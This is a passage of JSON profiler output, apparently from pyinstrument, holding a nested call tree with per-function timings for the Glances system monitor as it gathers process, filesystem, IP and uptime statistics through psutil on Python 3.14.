\"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.0019991700028185733},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001997,\"attributes\": {\"c_GeneratorContextManager\": 0.0019968809938291088, \"l148\": 0.0019968809938291088},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019968809938291088, \"l543\": 0.0019968809938291088},\"children\": [{\"identifier\": \"oneshot_exit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001732\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019968809938291088, \"l1734\": 0.0019968809938291088},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998790012323298, \"l382\": 0.0019998790012323298},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998790012323298, \"l1138\": 0.0019998790012323298},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998790012323298, \"l1593\": 0.0019998790012323298},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"helper\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000303\",\"time\": 0.001999,\"attributes\": {\"l305\": 0.0019992800007457845},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000108\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.0019992800007457845, \"l112\": 0.0019992800007457845},\"children\": [{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002002694003749639, \"l382\": 0.002002694003749639},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002002694003749639, \"l1138\": 0.002002694003749639},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002002694003749639, \"l1593\": 0.002002694003749639},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002002694003749639, \"l1880\": 0.002002694003749639},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020009529980598018, \"l680\": 0.0020009529980598018},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020009529980598018, \"l1593\": 0.0020009529980598018},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020009529980598018, \"l1740\": 0.0020009529980598018},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020009529980598018, \"l1593\": 0.0020009529980598018},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020009529980598018, \"l382\": 0.0020009529980598018},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020009529980598018, \"l1683\": 0.0020009529980598018},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.0020009529980598018},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l718\": 0.0020009529980598018},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000476000830531, \"l836\": 0.002000476000830531},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000476000830531, \"l1593\": 0.002000476000830531},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000476000830531, \"l1799\": 0.002000476000830531},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989740030723624, \"l680\": 0.0019989740030723624},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989740030723624, \"l1593\": 0.0019989740030723624},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989740030723624, \"l1740\": 0.0019989740030723624},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989740030723624, \"l1593\": 0.0019989740030723624},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989740030723624, \"l382\": 0.0019989740030723624},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989740030723624, \"l1689\": 0.0019989740030723624},\"children\": [{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"memory_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001156\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019993620007880963, \"l1178\": 0.0019993620007880963},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.006000441004289314, \"l579\": 0.004000575005193241, \"l572\": 0.001999865999096073},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.00200113400205737, \"l680\": 0.00200113400205737},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.00200113400205737, \"l1593\": 0.00200113400205737},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.00200113400205737, \"l1740\": 0.00200113400205737},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.00200113400205737, \"l1593\": 0.00200113400205737},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.00200113400205737, \"l382\": 0.00200113400205737},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999441003135871, \"l939\": 0.001999441003135871},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999441003135871, \"l1593\": 0.001999441003135871},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999441003135871, \"l2053\": 0.001999441003135871},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.001999865999096073, \"l148\": 0.001999865999096073},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999865999096073, \"l542\": 0.001999865999096073},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.002000,\"attributes\": {\"l404\": 0.001999865999096073},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.005999695997161325, \"l639\": 0.005999695997161325},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.005999695997161325, \"l314\": 0.005999695997161325},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.005999695997161325, \"l347\": 0.005999695997161325},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.005999695997161325, \"l394\": 0.005999695997161325},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.005999695997161325, \"l1593\": 0.005999695997161325},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.005999695997161325, \"l1857\": 0.005999695997161325},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.005999695997161325, \"l1593\": 0.005999695997161325},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.005999695997161325, \"l375\": 0.005999695997161325},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.005999695997161325, \"l1683\": 0.0040027439972618595, \"l1689\": 0.0019969519998994656},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.004003,\"attributes\": {\"l730\": 0.0040027439972618595},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.004003,\"attributes\": {\"l718\": 0.0020003059980808757, \"l719\": 0.0020024379991809838},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002005,\"attributes\": {\"l824\": 0.002005312002438586},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.002005,\"attributes\": {\"l773\": 0.002005312002438586},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002005,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"remove_non_running_procs\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000676\",\"time\": 0.002619,\"attributes\": {\"cGlancesProcesses\": 0.002618653998069931, \"l679\": 0.002618653998069931},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002619,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.001654,\"attributes\": {\"cGlancesProcesses\": 0.0016543720048503019, \"l689\": 0.0016543720048503019},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.001654,\"attributes\": {\"l589\": 0.0016543720048503019},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.001654,\"attributes\": {\"l584\": 0.0016543720048503019},\"children\": [{\"identifier\": \"_asdict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000476\",\"time\": 0.001654,\"attributes\": {\"cpmem\": 0.0016543720048503019, \"l478\": 0.0016543720048503019},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001654,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.001722,\"attributes\": {\"cProgramlistPlugin\": 0.0017217299973708577, \"l155\": 0.0017217299973708577},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.001722,\"attributes\": {\"cGlancesProcesses\": 0.0017217299973708577, \"l711\": 0.0017217299973708577},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.001722,\"attributes\": {\"l69\": 0.0017217299973708577},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001722,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007998,\"attributes\": {\"cProgramlistPlugin\": 0.007998389002750628, \"l678\": 0.007998389002750628},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.007998,\"attributes\": {\"cProgramlistPlugin\": 0.007998389002750628, \"l633\": 0.005998590000672266, \"l656\": 0.001999799002078362},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.003999,\"attributes\": {\"cProgramlistPlugin\": 0.0039987029958865605, \"l619\": 0.0020025510020786896, \"l621\": 0.001996151993807871},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001996,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019998870047857054, \"l614\": 0.0019998870047857054},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_stats_history\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000345\",\"time\": 0.002003,\"attributes\": {\"cPercpuPlugin\": 0.002002894994802773, \"l363\": 0.002002894994802773},\"children\": [{\"identifier\": \"nativestr\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000151\",\"time\": 0.002003,\"attributes\": {\"l152\": 0.002002894994802773},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.010009,\"attributes\": {\"cProcesslistPlugin\": 0.010008833000028972, \"l678\": 0.008009103999938816, \"l675\": 0.0019997290000901558},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.005998,\"attributes\": {\"cProcesslistPlugin\": 0.0059975280018989, \"l633\": 0.003998339998361189, \"l634\": 0.0019991880035377108},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.002012,\"attributes\": {\"cProcesslistPlugin\": 0.002011575998039916, \"l633\": 0.002011575998039916},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002012,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.019020,\"attributes\": {\"cUptimePlugin\": 0.0020179640050628223, \"l1278\": 0.019019817002117634, \"cFsPlugin\": 0.015101414996024687, \"cIpPlugin\": 0.0019004380010301247},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.019020,\"attributes\": {\"l1295\": 0.019019817002117634},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/uptime/__init__.py\\u000049\",\"time\": 0.002018,\"attributes\": {\"cUptimePlugin\": 0.0020179640050628223, \"l58\": 0.0020179640050628223},\"children\": [{\"identifier\": \"boot_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002383\",\"time\": 0.002018,\"attributes\": {\"l2390\": 0.0020179640050628223},\"children\": [{\"identifier\": \"boot_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001507\",\"time\": 0.002018,\"attributes\": {\"l1512\": 0.0020179640050628223},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002018,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.015101,\"attributes\": {\"cFsPlugin\": 0.015101414996024687, \"l131\": 0.015101414996024687},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.015101,\"attributes\": {\"cFsPlugin\": 0.015101414996024687, \"l182\": 0.015101414996024687},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.015101,\"attributes\": {\"l630\": 0.002809183999488596, \"l631\": 0.012292230996536091},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002809,\"attributes\": {\"cForkProcess\": 0.002809183999488596, \"l121\": 0.002809183999488596},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002809,\"attributes\": {\"l281\": 0.002809183999488596},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002809,\"attributes\": {\"cPopen\": 0.002809183999488596, \"l20\": 0.002809183999488596},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002809,\"attributes\": {\"cPopen\": 0.002809183999488596, \"l70\": 0.002809183999488596},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002809,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.012292,\"attributes\": {\"cForkProcess\": 0.012292230996536091, \"l156\": 0.012292230996536091},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.012292,\"attributes\": {\"cPopen\": 0.012292230996536091, \"l41\": 0.012292230996536091},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.012292,\"attributes\": {\"l1165\": 0.012292230996536091},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.012292,\"attributes\": {\"cPollSelector\": 0.012292230996536091, \"l398\": 0.012292230996536091},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.012292,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005500,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.006792,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000116\",\"time\": 0.001900,\"attributes\": {\"cIpPlugin\": 0.0019004380010301247, \"l127\": 0.0019004380010301247},\"children\": [{\"identifier\": \"get_stats_for_local_input\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000138\",\"time\": 0.001900,\"attributes\": {\"cIpPlugin\": 0.0019004380010301247, \"l140\": 0.0019004380010301247},\"children\": [{\"identifier\": \"get_first_ip\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u000089\",\"time\": 0.001900,\"attributes\": {\"cIpPlugin\": 0.0019004380010301247, \"l90\": 0.0019004380010301247},\"children\": [{\"identifier\": \"get_ip_address\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000740\",\"time\": 0.001900,\"attributes\": {\"l745\": 0.0019004380010301247},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002289\",\"time\": 0.001900,\"attributes\": {\"l2301\": 0.0019004380010301247},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000992\",\"time\": 0.001900,\"attributes\": {\"l999\": 0.0019004380010301247},\"children\": [{\"identifier\": \"net_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000945\",\"time\": 0.001900,\"attributes\": {\"l949\": 0.0019004380010301247},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.001900,\"attributes\": {\"l692\": 0.0019004380010301247},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001900,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_get_ttl_hash\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000550\",\"time\": 0.002059,\"attributes\": {\"l556\": 0.0020593349981936626},\"children\": [{\"identifier\": \"datetime.now\\u0000<built-in>\\u00000\",\"time\": 0.002059,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002059,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.062253,\"attributes\": {\"cGlancesCursesStandalone\": 2.0622533790010493, \"l1154\": 0.05191236400423804, \"l1169\": 1.0058920819865307, \"l1172\": 1.0044489330102806},\"children\": [{\"identifier\": 